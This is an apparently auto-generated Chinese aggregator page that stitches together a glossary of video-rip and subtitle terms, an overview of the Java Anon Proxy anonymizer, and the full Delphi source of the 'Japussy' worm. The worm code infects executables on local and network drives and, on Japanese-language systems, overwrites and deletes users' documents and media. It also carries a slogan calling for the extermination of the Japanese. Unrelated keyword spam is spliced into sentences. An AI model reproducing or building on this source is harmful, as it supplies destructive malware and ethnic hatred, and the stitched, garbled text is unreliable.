皮皮网

1.关于字幕组翻译动画后名字的[]jap_chn]的意思
2.Java Anon Proxy概述
3.听说电脑病毒是一串代码

关于字幕组翻译动画后名字的[]jap_chn]的意思

       jap,jpn都是日语的意思

       Chs,中文

       GB，中文简体，BIG5中文繁体字幕

       常见术语解释

       HALFCD的概念：

       HALFCD是TLF论坛提出的一种新的视频封装方法的名称，也可缩写为HFCD。一部通常的**的文件总大小约为M，即半张CD的元帅柱源码公式容量，所以称为HALFCD. 视频采用先进的X编码技术，音频采用先进的HE-AAC+PS编码技术，某些较长的影片如超过2小时，会采用M容量；超过3小时，采用 M容量，以保证画面质量。 在极低的码率下可以得到非常优秀的画面。

       BDRIP的概念：

       BD是Blue Disk的简称，翻译成中文是“蓝光影碟”的意思。DVD的激光头现在用的是橙红色,兰光的波长更小,也就是在碟片上的聚焦点更小,这样就能把更多的数据储存在同样大小的碟片上,这就是蓝光的基本原理了,一张碟片好像是能储存G的内容。蓝光影碟机是用蓝色激光读取盘上的文件。因蓝光波长较短，可以读取密度更大的光盘。Blue-Ray Disk是蓝光盘,是DVD的下一代的标准之一,主导者为索尼与东芝,以索尼、松下、飞利浦为核心，又得到先锋、日立、三星、LG等巨头的鼎力支持。存储原理为沟槽记录方式，采用传统的沟槽进行记录，然而通过更加先进的抖颤寻址实现了对更大容量的存储与数据管理，目前已经达到惊世骇俗的GB。蓝光光盘的盗qq软件源码直径为cm，和普通光盘（CD）及数码光盘（DVD）的尺寸一样。这种光盘利用n蓝色激光在单面单层光盘上可以录制、播放长达 GB的视频数据，比现有的DVD的容量大5倍以上（DVD的容量一般为4．7GB），可录制小时普通电视节目或2小时高清晰度电视节目。蓝光光盘采用MPEG-2压缩技术。

       HDRIP的概念：

       HDRip 是HDTVRip的缩写，是用DivX/XviD/x等MPEG4压缩技术对HDTV的视频图像进行高质量压缩,然后将视频、音频部分封装成一个. avi或.mkv 文件，最后再加上外挂的字幕文件而形成的视频格式。实际上是对HDTV的2次压缩，将原来的MPEG2编码重编码为MPEG4编码。制作的HDRIP遵循严格的制作标准，尽力在文件大小和画质之间取得最佳平衡点（通常控制在一部**4.2GB左右，正好相当于一张DVD-R的容量，以便保存）。

       DVDRIP的概念：

       DVDrip是以其接近DVD的画质和音质，深受广大**爱好者的喜爱。那么，什么是DVDrip呢？简单地说，所有用DVD做为片源进行重新压缩编码的 文件都统称为DVDRip，可用的压缩编码目前有很多，现在比较流行的有DivX、XviD以及最近的X等等。因为编码的不同，所以画质也相差很 大。但是，采用DivX或者XviD编码的文件格式并不一定都是用DVD作为片源，枪版的影片或者VCD也可以转DVDRip。经过DivX、秒换ip源码XviD或者X技术压缩的DVDrip，只有原来DVD文件大小的几分之一左右。DVDRip核心技术分为三部分：用Mpeg4来进行视频压缩，用MP3或 AC3等压缩音频，同时结合字幕播放软件来外挂字幕。其中字幕文件可以从DVD上用专门的软件截取或者自己进行后期翻译，并将其保存为诸如.sub、 ssa和.srt等格式的字幕文件。 在播放AVI文件时，外挂的字幕播放软件会配合播放文件自动工作，同时观看者还可以在外挂字幕软件中进行语言选择等多种操作。我们只要安装好相关的软件，在网络上获得DVDrip文件和相关字幕以后，就可以在硬盘上连续播放有DVD效果的影片。播放这种编码，对机器要求也不高，CPU只要MHz以上，内存MB，显存8MB就可以流畅地播放了。

       RM格式的概念：

       Real Networks公司所制定的音频视频压缩规范称为Real Media，用户可以使用RealPlayer或RealOne Player对符合RealMedia技术规范的网络音频/视频资源进行实况转播并且RealMedia可以根据不同的网络传输速率制定出不同的压缩比率，从而实现在低速率的网络上进行影像数据实时传送和播放。这种格式的另一个特点是用户使用RealPlayer或RealOne Player播放器可以在不下载音频/视频内容的条件下实现在线播放。另外，RM作为目前主流网络视频格式，它还可以通过其Real Server服务器将其它格式的视频转换成RM视频并由Real Server服务器负责对外发布和播放。

       RMVB格式的概念：

       这是一种由RM视频格式升级延伸出的新视频格式，它的先进之处在于 RMVB视频格式打破了原先RM格式那种平均压缩采样的方式，在保证平均压缩比的基础上合理利用比特率资源，就是京东开源app源码说静止和动作场面少的画面场景采用较低的编码速率，这样可以留出更多的带宽空间，而这些带宽会在出现快速运动的画面场景时被利用。这样在保证了静止画面质量的前提下，大幅地提高了运动图像的画面质量，从而图像质量和文件大小之间就达到了微妙的平衡。另外，相对于DVDrip格式，RMVB视频也是有着较明显的优势，一部大小为MB左右的 DVD影片，如果将其转录成同样视听品质的RMVB格式，其个头最多也就MB左右。不仅如此，这种视频格式还具有内置字幕和无需外挂插件支持等独特优点。要想播放这种视频格式，可以使用RealOne Player2.0或RealPlayer8.0加RealVideo9.0以上版本的解码器形式进行播放。

       AVI格式的概念：

       它的英文全称为Audio Video Interleaved，即音频视频交错格式。它于年被Microsoft公司推出，随Windows3.1一起被人们所认识和熟知。所谓“音频视频交错”，就是可以将视频和音频交织在一起进行同步播放。这种视频格式的优点是图像质量好，可以跨多个平台使用，其缺点是体积过于庞大，而且更加糟糕的是压缩标准不统一，最普遍的现象就是高版本Windows媒体播放器播放不了采用早期编码编辑的AVI格式视频，而低版本Windows媒体播放器又播放 不了采用最新编码编辑的AVI格式视频，所以我们在进行一些AVI格式的视频播放时常会出现由于视频编码问题而造成的视频不能播放或即使能够播放，但存在 不能调节播放进度和播放时只有声音没有图像等一些莫名其妙的问题，如果用户在进行AVI格式的分时红绿箭头源码视频播放时遇到了这些问题，可以通过下载相应的解码器来解 决。

       MKV格式的概念：

       MKV是Matroska的一种媒体文件， Matroska是一种新的多媒体封装格式，它可将多种不同编码的视频及条以上不同格式的音频和不同语言的字幕流封装到一个Matroska Media文件当中。多媒体封装格式，也称多媒体容器 (Multimedia Container)，它不同于DivX、 MP3这类编码格式，它只是为多媒体编码提供了一个“外壳”，常见的AVl、VOB、 MPEG格式都是属于这种类型。但这些封装格式要么结构陈旧，要么不够开放，正因为如此，才促成了Matroska这类新的多媒体封装格式的诞生。 Matroska媒体定义了三种类型的文件：MKV是视频文件，它里面可能还包含有音频和字幕；MKA是单一的音频文件，但可能有多条及多种类型的音轨； MKS是字幕文件。这三种文件以MKV最为常见。

       H.的概念：

       H.是由国际电信联盟（ITU-T）所制定的新一代的视频压缩格式。H.最具价值的部分无疑是更高的数据压缩比。在同等的图像质量条件下， H.的数据压缩比能比当前DVD系统中使用的 MPEG-2高2-3倍，比MPEG-4高1.5-2倍。正因为如此，经过H.压缩的视频数据，在网络传输过程中所需要的带宽更少，也更加经济。在 MPEG-2需要6Mbps的传输速率匹配时，H.只需要1Mbps-2Mbps的传输速率。与MPEG-4一样，经过H.压缩的视频文件一般也是采用.avi 作为其后缀名，同样不容易辨认，只能通过解码器来自己识别。

       x的概念：

       x是一个基于h.的免费开源的视频Codec，属于后起之秀，已经受到众多Riper的青睐，但是与Xvid相比，其在解码时对硬件的要求更高。

       DivX的概念：

       DivX 是一项由 DivXNetworks公司发明的，类似于MP3的数字多媒体压缩技术。DivX基于MPEG-4标准，可以把MPEG-2格式的多媒体文件压缩至原来的%,更可把VHS格式录像带格式的文件压至原来的1%。通过 DSL或cable Moden等宽带设备，它可以让你欣赏全屏的高质量数字**。无论是声音还是画质都可以和DVD相媲美。同时它还允许在其他设备（如安有机顶盒的电视、 PocketPC）上观看。由于Divx后来转为了商业软件，其发展受到了很大限制，表现相对欠佳，在竞争中处于了劣势。今年6月， DivXNetworks公司推出了最新的Divx6，有一定提高。CHD新近制作的一部分HDrip就采用了这一最新的编码技术。

       Xvid的概念：

       XviD是一个开放源码的MPEG-4 多媒体解码器，它是基于OpenDivX而编写的。XviD是由一群原OpenDivX义务开发者在OpenDivX于年7月停止开发后自行开发 的。XviD支持多种编码模式，量化 (Quantization) 方式和范围控，运动侦测 (Motion Search) 和曲线平衡分配 (Curve)，动态关键帧距 (I-frame interval)，心理视觉亮度修正，演职员表选项，外部自定义控制，运动向量加速 (Hinted Me) 编码，画面优化解码等众多编码技术，对用户来说功能十分强大。这也是目前被Riper使用最为广泛的编码技术。

       AAC格式：

       AAC是由Fraunhofer IIS-A、杜比和AT&T共同开发的一种音频格式，它是MPEG-2规范的一部分。AAC所采用的运算法则与MP3的运算法则有所不同，AAC 通过结合其他的功能来提高编码效率。AAC的音频算法在压缩能力上远远超过了以前的一些压缩算法（比如MP3等）。它还同时支持多达个音轨、个低频音轨、更多种采样率和比特率、多种语言的兼容能力、更高的解码效率。总之，AAC可以在比MP3文件缩小%的前提下提供更好的音质。

       DTS音轨：

       为 Digital Theatre System 的缩写，即数码影院系统。它是年底推出的一种源自剧院模式开发的数码环绕声系统。DTS 系统不仅具有 AC-3 相似功能，更加强了其纵深定位交叉效果。DTS 芯片容量为 kbps，压缩传输比为 4:1；而 AC-3 芯片容量为 kbps，压缩比为 :1。正是由于DTS 信息容量的增加，音色更加优美，不但可以聆听 Hi-Fi 音乐，同时也可以欣赏爆棚影视软件。

       由于DTS 以 bit 在 kHz 的频率中工作，提供 6 声道信息，它所创造出的音域环绕声效果，能满足众多AV 发烧友最挑剔的要求。听音者完全被这种气势所包围，真正体验 度数码环绕音响效果。

       **文件名常识：

       PROPER---> 完美版

       CAM---> 摄影机拍影院银幕，带有影院音响(夹带观众笑声，不好)

       Telesync, TS--->摄像机拍影院银幕，从影院放映机直接接线输出

       Telecine, TC---> 胶版，直接转**拷贝，转**拷贝

       DVD SCREENER --->用于观摩或展示的DVD

       SCREENER, SCR --->用于观摩或展示录影带

       DUPE--->与别的组织Release有重复

       UNRATE--->未删节(好)

       R-RATE--->有删节(不好)

       WS --->宽银幕版本的影片

       FS--->4：3 全荧幕版本的影片（有些影片DVD中同时有WS和FS两种版本，Rip出来就要有两种Release）

       Bad IVTC --->画面有不可去处的拉丝(不好的版本)

       Bad Aspt --->画面比例不正常(不好的版本)

       LIMITED --->指在美国有限上映的片子，很多外国片都这样

       WITH EXTRAS--->带花絮

       INTERLACED--->隔行(可看见横的扫瞄线)

       NUKED---> 画质太差，被FTP的管理员废掉

       SUBED --->内嵌硬字幕(画面内不能消去)

       WORKPRINT,WP--->工作录影带（导演剪接版，与发行版不同 )

       Director Cut --->导演剪接版

       TDX---> 传统DivX制作规则，不符合规则就不会被接受或被NUKE

       STV--->指没有也不会有美国影院公映这部片，或者是在影院放映前已经在电视上放过

       OST---> 原声大碟

Java Anon Proxy概述

       Java Anon Proxy（JAP）是一个开源免费软件，用于匿名访问互联网，强调匿名和隐私，口号为“匿名 & 隐私 - 匿名无罪”。通过逐级加密连接，JAP隐藏了原始连接，提供跨平台支持，主要在德国开发。

       JAP最初是闭源软件。年，德国刑警在JAP中安装信息审查系统，导致了用户对JAP的信任危机。为赢得用户信任，JAP在年开放了源代码，移除了审查后门。此后，JAP的开发主要集中在增强隐私性和安全性上。

       年5月，JAP宣布可以接入Tor网络，进一步提升了其匿名性和安全性。年，JAP宣布可以接入Mixminion，提供了更多的匿名访问选项。随着功能的不断扩展，JAP已成为一个成熟的匿名代理工具，受到用户的广泛关注和使用。

       尽管JAP在年的事件引起了不小的震动，但其后续的开源、透明和安全性改进赢得了用户的信任。JAP的跨平台特性使其适用于多种操作系统，满足了不同用户的需求。通过接入Tor网络和Mixminion，JAP提供了丰富的匿名访问选项，为用户提供了强大的匿名性和隐私保护。

       总之，Java Anon Proxy（JAP）是一个功能强大、跨平台的开源匿名代理工具，致力于为用户提供匿名访问互联网的能力，保障用户的隐私和安全。通过持续的技术改进和用户信任的重建，JAP已成为匿名访问领域的领先选择。

听说电脑病毒是一串代码

       program Japussy;

       uses

       Windows, SysUtils, Classes, Graphics, ShellAPI{ , Registry};

       const

       HeaderSize = ; //病毒体的大小

       IconOffset = $EB8; //PE文件主图标的偏移量

       //在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同

       //查找的十六进制字符串可以找到主图标的偏移量

       {

       HeaderSize = ; //Upx压缩过病毒体的大小

       IconOffset = $BC; //Upx压缩过PE文件主图标的偏移量

       //Upx 1.W 用法: upx -9 -- Japussy.exe

       }

       IconSize = $2E8; //PE文件主图标的大小--字节

       IconTail = IconOffset + IconSize; //PE文件主图标的尾部

       ID = $; //感染标记

       //垃圾码，以备写入

       Catchword = 'If a race need to be killed out, it must be Yamato. ' +

       'If a country need to be destroyed, it must be Japan! ' +

       '*** W.Japussy.Worm.A ***';

       { $R *.RES}

       function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;

       stdcall; external 'Kernel.dll'; //函数声明

       var

       TmpFile: string;

       Si: STARTUPINFO;

       Pi: PROCESS_INFORMATION;

       IsJap: Boolean = False; //日文操作系统标记

       { 判断是否为Win9x }

       function IsWin9x: Boolean;

       var

       Ver: TOSVersionInfo;

       begin

       Result := False;

       Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);

       if not GetVersionEx(Ver) then

       Exit;

       if (Ver.dwPlatformID = VER_PLATFORM_WIN_WINDOWS) then //Win9x

       Result := True;

       end;

       { 在流之间复制 }

       procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;

       dStartPos: Integer; Count: Integer);

       var

       sCurPos, dCurPos: Integer;

       begin

       sCurPos := Src.Position;

       dCurPos := Dst.Position;

       Src.Seek(sStartPos, 0);

       Dst.Seek(dStartPos, 0);

       Dst.CopyFrom(Src, Count);

       Src.Seek(sCurPos, 0);

       Dst.Seek(dCurPos, 0);

       end;

       { 将宿主文件从已感染的PE文件中分离出来，以备使用 }

       procedure ExtractFile(FileName: string);

       var

       sStream, dStream: TFileStream;

       begin

       try

       sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

       try

       dStream := TFileStream.Create(FileName, fmCreate);

       try

       sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分

       dStream.CopyFrom(sStream, sStream.Size - HeaderSize);

       finally

       dStream.Free;

       end;

       finally

       sStream.Free;

       end;

       except

       end;

       end;

       { 填充STARTUPINFO结构 }

       procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);

       begin

       Si.cb := SizeOf(Si);

       Si.lpReserved := nil;

       Si.lpDesktop := nil;

       Si.lpTitle := nil;

       Si.dwFlags := STARTF_USESHOWWINDOW;

       Si.wShowWindow := State;

       Si.cbReserved2 := 0;

       Si.lpReserved2 := nil;

       end;

       { 发带毒邮件 }

       procedure SendMail;

       begin

       //哪位仁兄愿意完成之？

       end;

       { 感染PE文件 }

       procedure InfectOneFile(FileName: string);

       var

       HdrStream, SrcStream: TFileStream;

       IcoStream, DstStream: TMemoryStream;

       iID: LongInt;

       aIcon: TIcon;

       Infected, IsPE: Boolean;

       i: Integer;

       Buf: array[0..1] of Char;

       begin

       try //出错则文件正在被使用，退出

       if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染

       Exit;

       Infected := False;

       IsPE := False;

       SrcStream := TFileStream.Create(FileName, fmOpenRead);

       try

       for i := 0 to $ do //检查PE文件头

       begin

       SrcStream.Seek(i, soFromBeginning);

       SrcStream.Read(Buf, 2);

       if (Buf[0] = #) and (Buf[1] = #) then //PE标记

       begin

       IsPE := True; //是PE文件

       Break;

       end;

       end;

       SrcStream.Seek(-4, soFromEnd); //检查感染标记

       SrcStream.Read(iID, 4);

       if (iID = ID) or (SrcStream.Size < ) then //太小的文件不感染

       Infected := True;

       finally

       SrcStream.Free;

       end;

       if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出

       Exit;

       IcoStream := TMemoryStream.Create;

       DstStream := TMemoryStream.Create;

       try

       aIcon := TIcon.Create;

       try

       //得到被感染文件的主图标(字节)，存入流

       aIcon.ReleaseHandle;

       aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);

       aIcon.SaveToStream(IcoStream);

       finally

       aIcon.Free;

       end;

       SrcStream := TFileStream.Create(FileName, fmOpenRead);

       //头文件

       HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

       try

       //写入病毒体主图标之前的数据

       CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

       //写入目前程序的主图标

       CopyStream(IcoStream, , DstStream, IconOffset, IconSize);

       //写入病毒体主图标到病毒体尾部之间的数据

       CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);

       //写入宿主程序

       CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);

       //写入已感染的标记

       DstStream.Seek(0, 2);

       iID := $;

       DstStream.Write(iID, 4);

       finally

       HdrStream.Free;

       end;

       finally

       SrcStream.Free;

       IcoStream.Free;

       DstStream.SaveToFile(FileName); //替换宿主文件

       DstStream.Free;

       end;

       except;

       end;

       end;

       { 将目标文件写入垃圾码后删除 }

       procedure SmashFile(FileName: string);

       var

       FileHandle: Integer;

       i, Size, Mass, Max, Len: Integer;

       begin

       try

       SetFileAttributes(PChar(FileName), 0); //去掉只读属性

       FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件

       try

       Size := GetFileSize(FileHandle, nil); //文件大小

       i := 0;

       Randomize;

       Max := Random(); //写入垃圾码的随机次数

       if Max < 5 then

       Max := 5;

       Mass := Size div Max; //每个间隔块的大小

       Len := Length(Catchword);

       while i < Max do

       begin

       FileSeek(FileHandle, i * Mass, 0); //定位

       //写入垃圾码，将文件彻底破坏掉

       FileWrite(FileHandle, Catchword, Len);

       Inc(i);

       end;

       finally

       FileClose(FileHandle); //关闭文件

       end;

       DeleteFile(PChar(FileName)); //删除之

       except

       end;

       end;

       { 获得可写的驱动器列表 }

       function GetDrives: string;

       var

       DiskType: Word;

       D: Char;

       Str: string;

       i: Integer;

       begin

       for i := 0 to do //遍历个字母

       begin

       D := Chr(i + );

       Str := D + ':';

       DiskType := GetDriveType(PChar(Str));

       //得到本地磁盘和网络盘

       if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then

       Result := Result + D;

       end;

       end;

       { 遍历目录，感染和摧毁文件 }

       procedure LoopFiles(Path, Mask: string);

       var

       i, Count: Integer;

       Fn, Ext: string;

       SubDir: TStrings;

       SearchRec: TSearchRec;

       Msg: TMsg;

       function IsValidDir(SearchRec: TSearchRec): Integer;

       begin

       if (SearchRec.Attr <> ) and (SearchRec.Name <> '.') and

       (SearchRec.Name <> '..') then

       Result := 0 //不是目录

       else if (SearchRec.Attr = ) and (SearchRec.Name <> '.') and

       (SearchRec.Name <> '..') then

       Result := 1 //不是根目录

       else Result := 2; //是根目录

       end;

       begin

       if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then

       begin

       repeat

       PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑

       if IsValidDir(SearchRec) = 0 then

       begin

       Fn := Path + SearchRec.Name;

       Ext := UpperCase(ExtractFileExt(Fn));

       if (Ext = '.EXE') or (Ext = '.SCR') then

       begin

       InfectOneFile(Fn); //感染可执行文件

       end

       else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then

       begin

       //感染HTML和ASP文件，将Base编码后的病毒写入

       //感染浏览此网页的所有用户

       //哪位大兄弟愿意完成之？

       end

       else if Ext = '.WAB' then //Outlook地址簿文件

       begin

       //获取Outlook邮件地址

       end

       else if Ext = '.ADC' then //Foxmail地址自动完成文件

       begin

       //获取Foxmail邮件地址

       end

       else if Ext = 'IND' then //Foxmail地址簿文件

       begin

       //获取Foxmail邮件地址

       end

       else

       begin

       if IsJap then //是倭文操作系统

       begin

       if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or

       (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or

       (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or

       (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or

       (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or

       (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then

       SmashFile(Fn); //摧毁文件

       end;

       end;

       end;

       //感染或删除一个文件后睡眠毫秒，避免CPU占用率过高引起怀疑

       Sleep();

       until (FindNext(SearchRec) <> 0);

       end;

       FindClose(SearchRec);

       SubDir := TStringList.Create;

       if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then

       begin

       repeat

       if IsValidDir(SearchRec) = 1 then

       SubDir.Add(SearchRec.Name);

       until (FindNext(SearchRec) <> 0);

       end;

       FindClose(SearchRec);

       Count := SubDir.Count - 1;

       for i := 0 to Count do

       LoopFiles(Path + SubDir.Strings[i] + '', Mask);

       FreeAndNil(SubDir);

       end;

       { 遍历磁盘上所有的文件 }

       procedure InfectFiles;

       var

       DriverList: string;

       i, Len: Integer;

       begin

       if GetACP = then //日文操作系统

       IsJap := True; //去死吧！

       DriverList := GetDrives; //得到可写的磁盘列表

       Len := Length(DriverList);

       while True do //死循环

       begin

       for i := Len downto 1 do //遍历每个磁盘驱动器

       LoopFiles(DriverList[i] + ':', '*.*'); //感染之

       SendMail; //发带毒邮件

       Sleep( * * 5); //睡眠5分钟

       end;

       end;

       { 主程序开始 }

       begin

       if IsWin9x then //是Win9x

       RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程

       else //WinNT

       begin

       //远程线程映射到Explorer进程

       //哪位兄台愿意完成之？

       end;

       //如果是原始病毒体自己

       if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then

       InfectFiles //感染和发邮件

       else //已寄生于宿主程序上了，开始工作

       begin

       TmpFile := ParamStr(0); //创建临时文件

       Delete(TmpFile, Length(TmpFile) - 4, 4);

       TmpFile := TmpFile + # + '.exe'; //真正的宿主文件，多一个空格

       ExtractFile(TmpFile); //分离之

       FillStartupInfo(Si, SW_SHOWDEFAULT);

       CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

       0, nil, '.', Si, Pi); //创建新进程运行之

       InfectFiles; //感染和发邮件

       end;

       end.

       熊猫烧香的源代码...具体过程....太麻烦了，一旦做成，你家电脑就废了，你上网搜熊猫烧香